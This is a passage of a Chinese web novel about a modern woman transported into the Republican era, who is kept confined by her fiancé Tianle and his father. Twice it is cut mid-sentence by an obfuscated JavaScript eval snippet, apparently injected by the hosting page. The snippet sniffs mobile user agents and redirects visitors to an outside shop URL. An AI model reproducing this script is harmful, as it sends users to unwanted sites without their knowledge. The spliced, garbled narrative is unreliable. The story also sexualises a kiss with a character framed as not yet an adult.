我用手指戳着他的脑袋:“你才多大的人开口闭口我媳妇,你也不怕人家笑话?” “我才不管别人怎么看。要不,你亲我吧。”他恬不知耻道。 我鄙夷地看他:“做梦。”理都不理他。 “要是我告诉你友清的消息呢?”他悠然问道。 “真的?有他的消息了?”我一轱辘爬起来,欣然而问。 也许我的表情太过欣喜,天乐敛了笑容:“如果你能吻得我满意的话,我就告诉你。” 吻他?貌似有点难度,除了那次意识不清,我还从来没有主动亲过他。但是我确实想知道友清的消息,就牺牲一回吧。 我捧着他的脸。他的唇色很红润,唇型稍薄,唇中还有个小突起,看上去还满诱人的。我轻轻将唇靠上去,他的唇稍有些凉意,我用舌尖先描绘一番,继而探进,去寻找他的小舌,温柔缠绵,纠缠不清,他的身体在我的手下逐渐变得僵硬,呼吸越来越粗重。。。。。。 突然,他猛地推开我,眼中嫉妒和恼怒的情绪交杂:“我亲你你不愿,为了他你就愿意?我告诉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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他有些失望,但转眼就好了,从口袋里掏出一张票,说:“我们社团明天有一个公演,还请小倩姑娘来观摩。” 我想我整天在家也无聊,出去看看他们的演出也不错,于是接过了票。 临走时他说:“明天下午三点,我来接你。” 我本想拒绝,但又想到我对他们大学也不熟悉,有人来接也好,便点头应承了。 我本想把这件事告诉天乐,但是他这两天跟我发脾气,一张脸拉得老长,我也就不太愿理他。 第二天下午,李世元准时来接我,我出门一看,居然还有辆轿车,要知道这个时代轿车还是很少有的,想必是挪用了他爹的公车。 学校的距离还是有点远的,我们到的时候,剧场里已经坐满了人,李世元已经为我留好了前排的位置。 好象李世元还是个社团的头目,因为他一到场就有人来请示工作,李世元将我安排好就去了后台。 演出的短剧是莎士比亚的《罗密欧与朱莉叶》,意在歌颂男女主人公对纯洁爱情的热忱和向往以及男女主人公勇敢面对封建礼教的无畏精神,我想李世元让我来看这个可能是有所指的。 从观众热烈的掌声来看,演出还是挺成功的。不过这些演出在我看来更有些滑稽的成份,人物不仅语言激烈,动作也夸张,不过观众们好象还满欣赏的。 演出结束后,李世元将我带到了后台,有几个人竟然叫出了我的名字,想必是李世元跟他们介绍过我。 李世元将工作了手后就将我带出了剧场。坐上车后他问我想到哪里去吃饭,我想我出门前并未关照家里我不回来吃饭,那两个面瘫脸肯定是要等我的,所以我拒绝了他的邀请。 回到家的时候已经天黑。我一进门就听有人暴喝:“你还有脸回来?” 我一抬眼正对上天乐一张愤怒的脸。我想我只是出去看了场演出又没做什么不堪的事怎么就没脸回来了呢? 我不满地回道:“我在家无聊,出去看了场演出,并没有丢脸,为什么没脸不回来?” “那你为什么偷偷摸摸的不告诉我?” 我一抬眉:“我早上喊你,可你不理我,我就没说。” 他可能想起我早上的确喊过他,而他和我赌气所以没理我,这样一来他的火气稍稍小了点。 “那你为何要李世元送回来?” “是他们社团的演出,他给我的票,我又不认识他们学校,所以他来接送我。” “聂小倩,你以后不许和其他男人出去。”他恶狠狠地向我下了最后通牒。 若是他这话是对着小倩真身说的怕也没什么不妥,但是他是对着从现代穿越过去的我说的,就大不一样了。 而我最讨厌别人限制我的自由,即使是以爱的名义也不行,更何况这还算不上爱,最多也就是个独占欲。 我眼中冷淡如冰,说出的话不带一点温度:“裴天乐,你不要欺人太甚。”然后我头也不回地离开了客厅。 晚饭吃得相当郁闷。 天乐爹也知道了我下午出去的事,一张脸不仅面瘫而且冷若冰霜,天乐也好不到哪去,连我都挂着脸。 原来面瘫也会传染! 心情影响胃口,我吃到一半就吃不下了,冷冷甩下一句:“我不舒服先回房了,你们慢用。” 回到房里,我洗了个热水澡,然后穿着睡袍站在镜子前梳头。 天乐从外面进来,我也不招呼,他便站在屋子中央看着我。 我不加理会,梳完头上床坐着看书,全当他是空气。 天乐慢慢地走过来,几无声息。他在我身边躺下,伸手抱着我的腰象抱住根救命稻草。 “小倩,”他声音暗哑:“你等我一年好不好?等我成人,等我毕业好不好?” 此时灯光下的他面白如玉,眼若秋水,唇若点绛,揭去了骄横霸道的外壳,仅留脆弱敏感的内心,叫人狠不下心、断不了情。 我抬手抚上他的脸,手指细细描绘着他的眉、他的眼、他的唇。。。。。。 但是我的内心却在申诉:你不懂我,你从来就不懂我,我要的不是一个成熟的男人,我要的是自由呼吸的空气,你这样的霸道只会让我感到窒息。 10. 囚禁的小鸟 回头的路上天乐爹面如寒霜沉默不语,我虽不怕他但也不想被冷空气给冻僵,所以一回到家我就打算上楼去休息,但是终究是慢了一步,天乐爹把我叫住了:“到书房来。” 大老爷一声令下我自然是要听命的。 进了书房,站在面瘫的天乐爹面前,虽是炎热酷暑,我却感到丝丝凉意。 天乐爹在沙发上坐定,指指对面的沙发向我示意。 我很淑女地坐下,心里忐忑大老爷耳提面命的将会是什么大事。 “你还打算离开裴家吗?”天乐爹凉薄的声音在空荡的书房里回荡。 对于他这种没有任何铺垫没有任何表情辅助直入主题的说话方式,我还不是很适应。我吃了一惊,思忖了一下他说这话的含义, 我想这个问题我以前已经和他说过,他现在无非是想确定一下,所以我点头:“嗯,有可能。” 他皱皱眉,眼中隐隐有些怒气:“天乐对你不一般。” “我知道。年少轻狂时,谁不会有些感情的冲动呢,但这不能代表长久。”我淡然地答道。 天乐爹的眼光黑沉如墨直视我:“如果他是长久的呢?你忍心看他为你痛苦?” 我双手一摊:“他有喜欢我的自由,我也有选择是否喜欢他的权利。” 天乐爹冷然道:“我不允许你伤害他。”声音冷若冰霜。 我愕然地看着他:“什么意思?” 他目光如冰地看着我:“从今天开始,你不许离开裴家一步。” “你怎么能这么做?”我双手撑在茶几上身体前倾,虎视眈眈地看着他,我想这时的我一定象只炸了毛的猫。 “你不要忘记你和天乐是定了亲的。” 虾么?这明明是包办婚姻,根本没有征求过我的意见,他明明知道还居然说得这么理直气壮,这个顽固的地主老财。 “定了亲又怎样?在我们那边,夫妻即使结了婚也还可以离婚,更别说是定亲了。再说我现在离开他,他说不定能碰到适合他的人,难道你希望我和他勉强维持这门亲事,直到恩断义绝互为仇敌的那一天再说分手,你以为那样不会伤害他?” 天乐爹冷睨了我一眼,语气断然:“我不管将来怎么样,我也不管你们那边怎样,只是,现在,我不许你伤害他。”说完他无视我的愤怒甩门走出了书房。 我从椅子上跳起来恨不能冲他的背影狂吠几声。 这是什么世道?完全的不讲民主不讲人权,我怎么会穿到这个鬼时代来?卑鄙啊卑鄙,我以前怎么会那么幼稚地把他当成可以信任的人把秘密都告诉他的?!哼,你以为你是谁?你说不许就不许吗? 我冲出书房,看到小兰,我拖着小兰的手:“小兰,走,我们出去逛街。” 小兰莫名其妙地看着脸色不善的我,一时不知我这是发的哪门子火。 谁知刚走到门口就有人拦住了我,我一看是天乐爹贴身的两个保镖阿全和阿彪。 阿全说话还算客气:“小姐,老爷吩咐我们从今天开始就跟着你,保护小姐的安全。” 阿彪的态度就强硬多了:“老爷还吩咐大小姐不得走出这裴公馆,所以请大小姐回房去。” 我看了一眼他们两个虎背熊腰的造型,心想还是不要去闯这个关吧。 回到房里,我是越想越气愤,没想到这样就没了人身自由,一定是天乐那家伙使的坏,而我看到他恋恋不舍居然还心痛不已。我是吃软不吃硬的人,要是他们不用这种手段禁锢我的自由,我没准还犹豫不决走还是不走呢,他们越是这样越是坚定了我离开的心。 快不得天乐走的时候天乐爹说家里的事不用担心,天乐一副了然的样子,原来是早就预谋好了。 裴天乐,你个小样,从小我就看你腹黑不地道,没想到大了你更不地道,我聂小倩不把你虐到极致我誓不为人。我磨牙霍霍地想。 虽然受到不公正待遇,但我不是林妹妹,我不会郁郁寡欢悲天悯人的,我是打不死踩不烂的现代小强,不让我出去我就在家里折腾,我就不相信集智慧与美丽于一身的我斗不过你们这两个大小土豪劣绅。 不在抗争中胜利,就在抗争中死亡。 我不给天乐写信,尽管天乐的信象雪片一样的飞来,但我就是不回信,甚至不看天乐的信。 为了打发无聊的时光,我开始专注于收集八卦信息。八卦的首选对象就是天乐爹。 你说他一个三十岁的大男人正是如儿狼似虎的年纪,为什么不再娶个女人呢?莫不是在外金屋藏娇养了N奶?或是睡花眠柳解决个人的生理需要?还是他因为某种原因丧失了这方面的功能以致于心理变态拿我这件事出气?总之这件事情值得我这种无聊的人去深究。 除了探听八卦,我还专注于提高厨艺。我吩咐家里的师傅买了牛鞭、马鞭、虎鞭、羊鞭、枸杞、山药等壮阳滋补品,每天亲自下厨熬烫。我想如果天乐爹属于器质性的问题,这些东西足以使他恢复功能,到时候我就有可八的了。 日子过得真快,一转眼已经到了十月,不知天乐在北京怎么样,恨归恨,我还是有些挂心天乐的,但是我依然没有给天乐写信,尽管天乐的信来得越来越勤。 我不是没有原则的人,一时的心软只会让自己处于受他人摆布的地步。 那一天吃中饭时,天乐爹终于天开口问我:“你为什么不给天乐回信?” 我懒洋洋地道:“有什么好回的?我每天干了什么,你难道不清楚?你告诉他就行了,何必我多此一举。”我想那个小柳、阿德、阿彪每天都虎视眈眈地窥视我的行动然后向你汇报,还有什么是你不知道的? 天乐爹一时无语,脸上有些愠怒。 “给他写信。”天乐爹用命令的口吻道. 我抬抬眉,挑衅地斜视着他:“那就还我自由。” “你。。。”他凌厉的目光怒视着我。 我毫不妥协地与之对视,看着他眼底的小火苗渐渐地幻化成浓墨的深渊。 他闭上眼睛,身体向后靠了靠,语气依旧是冷淡的:“让阿德阿彪跟着。” 这么说他是同意了我的要求,我有些得意地咧开嘴,迅速地将碗里的饭吃完,用餐巾擦擦嘴,然后冲兰儿道:“走,我们上街逛逛。” 我扭着小腰兴冲冲地出了门,全然不顾天乐爹追随在我身后的目光。 走在大街上,我兴奋地哼着“解放区的天是明亮的天,解放区的人民好喜欢......”,在这场地主老财和小白菜的对决中,谈不上我大获全胜,但也总算为自己争得了一点权利。 人总是在意自己得不到的东西,就象我其实上街也没有什么要买的东西,只是因为前段间出不来,所以现在要恶补一下。 在街上漫无目的地东转西转了将近三个钟头,我的脚已经有些疼了,但是看到阿德和阿彪憋屈的脸,我心情大畅。 “明天我们上午再出来逛半天。”我有意大声地对兰儿讲。 成功地看到阿德和阿彪对视后欲哭无泪的表情,我心里这个爽啊。 “密丝聂,密丝聂。”正打算打道回府,就听有人喊。 我一转头,看见马路对过威廉一张阳光灿烂的笑脸。他也不看两边的车子就从马路对过冲了过来。 我感觉到周围的人看我的异样眼光,我心里腹诽:做人要低调,做侵略者更要低调,我不怕你会被怎样,我怕我会被人当汉奸给办了的。 看着威廉冲过来的速度,我赶紧后退两步,与他保持了适当的距离。 威廉很兴奋,叽哩呱啦地冒出一大串英语:“见到你太高兴了,密丝聂,好久看不见你了,我按你给我的地址去找你,他们说没这个人。” 我疑惑地问:“不可能。你怎么问的?是不是人家听不懂?” “NO,NO,”威廉连连摇头,然后用正宗的英式汉语道:“我问‘请问密丝聂在吗?’” 我笑:“你问密丝聂那人家当然说没这个人啦,别人只知我叫聂小倩。” 威廉恍然大悟。顿了顿,威廉问:“你最近去哪里了?怎么不到商行来?”不知道为什么,他说这话的时候有点不自然。 我一时有些怔忡,随口答道:“最近家俱市场是淡季,所以我回老家了。” 他有点失望低了头,少顷又道:“我父亲挺欣赏你,他说欢迎你到我家。。。。。。你知道,我在这里没什么朋友。” 我看了一下身后扑克脸的哼哈二 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13552339|142615||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 将答道:“我去可能不太方便,不过你可以到我家来,裴老爷也认识你。” 威廉有些兴奋地咧开了嘴,瓦蓝瓦蓝的眼睛放着波光:“真的可以吗?我很高兴听到你这么说。” 我被他的笑容所感染,回以一笑:“是的,欢迎你到我家。” 听了我的话,威廉一激动就要伸开长满金毛的猿臂拥抱我,我苦笑着后退两步,毕竟他是侵略者,我还不想被激进的爱国人士给暗杀掉。 威廉意识到自己的冲动,憨笑着收回了自己的猿臂。 我适时地提出:“时候不早了,我要回家了,再见。”不等他回应,我转身便走。 既然已经承诺了天乐爹,那还是要信守诺言的。 回到家我将天乐的信一封封拆开来看,信上写了他到北京的情况,介绍了北京的风土人情,还说了不少有趣的见闻。这些见闻有的很离谱,我估计并不全是他亲历的,而是道听途说拿来哄我开心的。 后来的信大多是质问我为什么不给他写回信,还威逼利诱我,如果我不给他写信他就马上回来跟我圆房,如果给他写信,他下次就带我到北京去玩。 我提笔回信,信中一句话也没有,只有一幅画,画中是一只鸟流着眼泪被关在一个鸟笼里。 信寄出没多几天,天乐的回信就到了。第一页上也是一幅画,画的左上角是一只鸟,边飞边回头看,还眼泪汪汪的,右下角是一只笼子里的鸟,鸟的头已经钻出了鸟笼,笼子的周围还有几只癞蛤蟆、乌龟围着,其意指为何不言而喻。 我想你这个小嫩牛和老牛将我囚禁在家里还好意思在我面前装模作样地矫情,TNND。 我将信纸摔到地上,继续看后面的信。 他在信上说李旺东参加了学生会,还动员他也参加。他说参加学生会要经常搞活动,而他是个性格懒散的人,不知道是不是适合参加学生会。 我想这一点天乐和我是有些相像的,我俩都是生性散漫的人,本来就不喜欢找事做,要是参加学生会经常搞这样那样的活动,还真是有点不适应。 再说还有一个更重要的原因是:北京大学既是新文化运动的中心和五四运动的发祥地,又是中国共产党最早的活动根据地之一,在1926年的“三.一八”惨案中北洋政府屠杀了四十几个、伤了二百多个学生,还通缉了徐谦、李大钊、李石曾、易培基、顾孟余五人,包括鲁迅也上了黑名单,后来奉系政府上台后又取消了北大,到1929年才恢复北大。这些大学生接受了先进思想的熏陶,在思想比较进步,行为上也比较激进,早被政府视为眼中钉,虽说这几年没有发生什么惨案,但难保国民政府不会搞暗杀暗捕什么的,这些危险的事还是让别人做去吧。反正革命的车轮也不会因为少了个天乐就停转,在这一点上请原谅我的自私。 我穿成个童养螅已经够够倒霉的了,再穿成个小寡妇更是霉得喝凉水也碜牙了。 于是乎,我在回信里洋洋洒洒地写了一大段,告诉他象他这样从小养尊处优好逸恶劳整天想着和媳妇上床的腹黑份子不适合混到思想先进的学生队伍中去,不过如果学生会里有漂亮的女生也不妨打入学生会内部去暗渡陈仓诱拐个良家女青年回来。 我可以想象得到天乐看到我写的信会笑得多没有形象,因为只有我会一针见血毫不避讳地指出他的阴暗心理。 天乐的回信很快就来了。信上说学生会里的确有女生,但是非丑即凶,他不想招惹,所以他回绝了李旺东的邀请,但是文学院有女学生,有两个还经常来找他。 天乐长得金玉其外,还有那么一双勾人的杏仁眼,有两个女生来找他,那还算是少的,要摆到现在还不得给众色女给秒杀了? 我看了信心里还是有些郁闷。虽说我口口声声巴望着天乐出个轨变个心,但真的知道有人惦记他,心里还挺不乐意的。 这人啊就是这样,自己的东西明明不想要,却舍不得给人,还不乐意别人惦记。 甩掉别人是一回事,被别人甩掉又是另外一回事。 我在回信里凉凉地道:如果你和那两个女生真的是心有奸情一点通,那么请及早通知于我,我也好头戴红杏拿着包裹翻墙而出,给你们这对男奸女盗腾地方。